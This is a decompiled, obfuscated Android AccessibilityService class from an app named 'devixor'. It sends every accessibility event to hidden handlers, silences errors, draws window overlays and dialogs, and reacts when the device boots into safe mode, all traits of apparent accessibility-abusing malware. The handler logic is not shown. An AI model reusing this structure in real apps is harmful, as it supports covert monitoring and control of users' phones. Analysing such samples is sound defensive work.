package ir.devixor.app.accessibilityservice;

import android.accessibilityservice.AccessibilityServiceInfo;
import android.app.AlertDialog;
import android.view.View;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import o.C0599Xc;
import o.C0720aY;
import o.C1014dc0;
import o.CM;
import o.K0;
import o.Mh0;
import o.OS;
import o.QJ;
import o.RunnableC0339Nc;
import o.RunnableC2017o3;
import o.RunnableC2108p1;

/* compiled from: r8-map-id-3b7cc9102578c509342fa2f0fabed2bfc72239cd258d579fc679bfcbc198b048 */
/* loaded from: classes.dex */
public final class AccessibilityService extends android.accessibilityservice.AccessibilityService {
    public static AccessibilityService r;
    public final C1014dc0 l = new C1014dc0(new K0(0));
    public final C1014dc0 m = new C1014dc0(new K0(1));
    public final C1014dc0 n = new C1014dc0(new K0(2));

    /* renamed from: o, reason: collision with root package name */
    public final C1014dc0 f32o = new C1014dc0(new K0(3));
    public final C1014dc0 p = new C1014dc0(new K0(4));
    public final C1014dc0 q = new C1014dc0(new K0(5));

    @Override // android.accessibilityservice.AccessibilityService
    public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent) {
        try {
            ((C0599Xc) this.l.getValue()).d(accessibilityEvent);
        } catch (Exception unused) {
        }
        try {
            ((CM) this.m.getValue()).getClass();
        } catch (Exception unused2) {
        }
        try {
            ((QJ) this.n.getValue()).b(accessibilityEvent);
        } catch (Exception unused3) {
        }
        try {
            ((OS) this.f32o.getValue()).a(accessibilityEvent);
        } catch (Exception unused4) {
        }
        try {
            ((Mh0) this.p.getValue()).j(accessibilityEvent);
        } catch (Exception unused5) {
        }
        try {
            ((C0720aY) this.q.getValue()).c(accessibilityEvent);
        } catch (Exception unused6) {
        }
    }

    @Override // android.app.Service
    public final void onDestroy() {
        try {
            C0599Xc c0599Xc = (C0599Xc) this.l.getValue();
            c0599Xc.m = false;
            RunnableC0339Nc runnableC0339Nc = c0599Xc.j;
            if (runnableC0339Nc != null) {
                c0599Xc.i.removeCallbacks(runnableC0339Nc);
            }
            c0599Xc.j = null;
            c0599Xc.b();
        } catch (Exception unused) {
        }
        try {
            CM cm = (CM) this.m.getValue();
            cm.l = false;
            View view = cm.c;
            if (view != null) {
                try {
                    ((WindowManager) cm.b.getValue()).removeView(view);
                } catch (Exception unused2) {
                }
                cm.c = null;
            }
        } catch (Exception unused3) {
        }
        try {
            ((QJ) this.n.getValue()).g.removeCallbacksAndMessages(null);
        } catch (Exception unused4) {
        }
        try {
            ((OS) this.f32o.getValue()).a = null;
        } catch (Exception unused5) {
        }
        try {
            Mh0 mh0 = (Mh0) this.p.getValue();
            mh0.getClass();
            try {
                AlertDialog alertDialog = mh0.b;
                if (alertDialog != null) {
                    alertDialog.dismiss();
                }
                mh0.b = null;
                mh0.d.removeCallbacksAndMessages(null);
                mh0.e = false;
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception unused6) {
        }
        try {
            C0720aY c0720aY = (C0720aY) this.q.getValue();
            c0720aY.d.removeCallbacksAndMessages(null);
            AlertDialog alertDialog2 = c0720aY.b;
            if (alertDialog2 != null) {
                alertDialog2.dismiss();
            }
            c0720aY.b = null;
        } catch (Exception unused7) {
        }
        r = null;
        super.onDestroy();
    }

    @Override // android.accessibilityservice.AccessibilityService
    public final void onServiceConnected() {
        super.onServiceConnected();
        r = this;
        AccessibilityServiceInfo accessibilityServiceInfo = new AccessibilityServiceInfo();
        accessibilityServiceInfo.eventTypes = 4196464;
        accessibilityServiceInfo.feedbackType = 16;
        accessibilityServiceInfo.flags = 80;
        accessibilityServiceInfo.notificationTimeout = 50L;
        setServiceInfo(accessibilityServiceInfo);
        try {
            ((C0599Xc) this.l.getValue()).c(this);
        } catch (Exception unused) {
        }
        try {
            CM cm = (CM) this.m.getValue();
            cm.a = this;
            if (!cm.l) {
                cm.l = true;
                cm.d.post(new RunnableC2017o3(13, cm));
            }
        } catch (Exception unused2) {
        }
        try {
            ((QJ) this.n.getValue()).a = this;
        } catch (Exception unused3) {
        }
        try {
            ((OS) this.f32o.getValue()).a = this;
        } catch (Exception unused4) {
        }
        try {
            ((Mh0) this.p.getValue()).a = this;
        } catch (Exception unused5) {
        }
        try {
            C0720aY c0720aY = (C0720aY) this.q.getValue();
            c0720aY.a = this;
            try {
                if (getPackageManager().isSafeMode()) {
                    c0720aY.d.postDelayed(new RunnableC2108p1(14, c0720aY), 1000L);
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        } catch (Exception unused6) {
        }
    }

    @Override // android.accessibilityservice.AccessibilityService
    public final void onInterrupt() {
    }
}
